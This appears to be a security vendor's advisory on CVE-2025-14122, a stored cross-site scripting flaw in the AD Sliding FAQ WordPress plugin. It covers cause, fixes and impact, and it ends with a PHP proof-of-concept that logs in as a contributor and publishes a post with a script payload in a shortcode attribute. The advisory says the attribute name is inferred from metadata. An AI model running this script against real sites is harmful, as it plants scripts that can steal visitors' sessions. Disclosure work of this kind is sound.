Atomic Edge analysis of CVE-2025-14122 (metadata-based):
This vulnerability is an authenticated stored cross-site scripting (XSS) flaw in the AD Sliding FAQ WordPress plugin. The vulnerability exists in the plugin’s ‘sliding_faq’ shortcode handler. Attackers with contributor-level or higher privileges can inject malicious scripts into page content via shortcode attributes. These scripts execute in the browsers of users viewing the compromised pages.
Atomic Edge research infers the root cause is insufficient input sanitization and output escaping. The plugin likely accepts user-supplied attributes for the ‘sliding_faq’ shortcode without proper validation. It then fails to escape these attributes when outputting them into the page HTML. This is a classic CWE-79 violation. The conclusion about missing sanitization and escaping is inferred from the CWE classification and the vulnerability description, as no source code diff is available for confirmation.
Exploitation requires an authenticated user with at least contributor-level permissions. The attacker would edit or create a post or page. They embed the ‘[sliding_faq]’ shortcode with malicious attributes. For example, an attacker could use a payload like ‘[sliding_faq title=”alert(document.domain)”]’. The plugin’s shortcode handler processes this input. It unsafely outputs the ‘title’ attribute value without escaping, embedding the script into the page’s HTML. The script executes for any visitor who views that page.
Effective remediation requires implementing proper security functions. The plugin must sanitize all user-controlled shortcode attribute values on input using functions like ‘sanitize_text_field’. It must also escape all dynamic output on render using appropriate WordPress escaping functions like ‘esc_attr’ for HTML attributes. A patch would involve adding these sanitization and escaping calls to the shortcode callback function.
Successful exploitation leads to stored XSS attacks. Injected scripts run with the victim’s permissions within the context of the vulnerable WordPress site. Attackers can steal session cookies, perform actions on behalf of the user, deface pages, or redirect users to malicious sites. The CVSS vector indicates scope change (S:C), meaning the impact can spread to other site components beyond the plugin itself.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-14122 - AD Sliding FAQ <= 2.4 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode Attributes
<?php
$target_url = 'http://vulnerable-wordpress-site.local';
$username = 'contributor_user';
$password = 'contributor_password';
// Payload: Inject a script via the 'title' attribute of the sliding_faq shortcode.
// This is a common attribute for such plugins. The exact vulnerable attribute name is inferred.
$malicious_shortcode = '[sliding_faq title="<script>alert(`Atomic Edge XSS: `+document.domain)</script>"]';
$post_title = 'Test Post with XSS';
$post_content = "This post contains a malicious shortcode.nn{$malicious_shortcode}nnEnd of content.";
// Step 1: Authenticate to WordPress and obtain a nonce for creating a post.
// Contributor users typically use the REST API or admin-ajax.php for post creation.
// This PoC uses the REST API /wp-json/wp/v2/posts endpoint.
$login_url = $target_url . '/wp-login.php';
$api_url = $target_url . '/wp-json/wp/v2/posts';
// Create a session and get authentication cookies.
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $login_url,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_COOKIEJAR => 'cookies.txt',
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
]),
CURLOPT_HTTPHEADER => ['Content-Type: application/x-www-form-urlencoded']
]);
$response = curl_exec($ch);
// Step 2: Use the authenticated session to create a post via the REST API.
// The REST API requires a nonce, which is typically in the 'X-WP-Nonce' header.
// For simplicity, this PoC assumes the session cookies are sufficient for a contributor.
// In a real scenario, you would need to fetch a valid nonce from the admin page.
$post_data = json_encode([
'title' => $post_title,
'content' => $post_content,
'status' => 'publish'
]);
curl_setopt_array($ch, [
CURLOPT_URL => $api_url,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_COOKIEFILE => 'cookies.txt',
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => $post_data,
CURLOPT_HTTPHEADER => [
'Content-Type: application/json',
'Accept: application/json'
]
]);
$api_response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($http_code >= 200 && $http_code < 300) {
$resp_data = json_decode($api_response, true);
$post_id = $resp_data['id'] ?? 'unknown';
$post_link = $resp_data['link'] ?? $target_url . '/?p=' . $post_id;
echo "[+] Post created successfully. ID: {$post_id}n";
echo "[+] Visit {$post_link} to trigger the XSS payload.n";
} else {
echo "[-] Failed to create post. HTTP Code: {$http_code}n";
echo "[-] Response: {$api_response}n";
echo "[*] Note: This PoC may require adjustment to obtain a valid REST API nonce.n";
}
?>
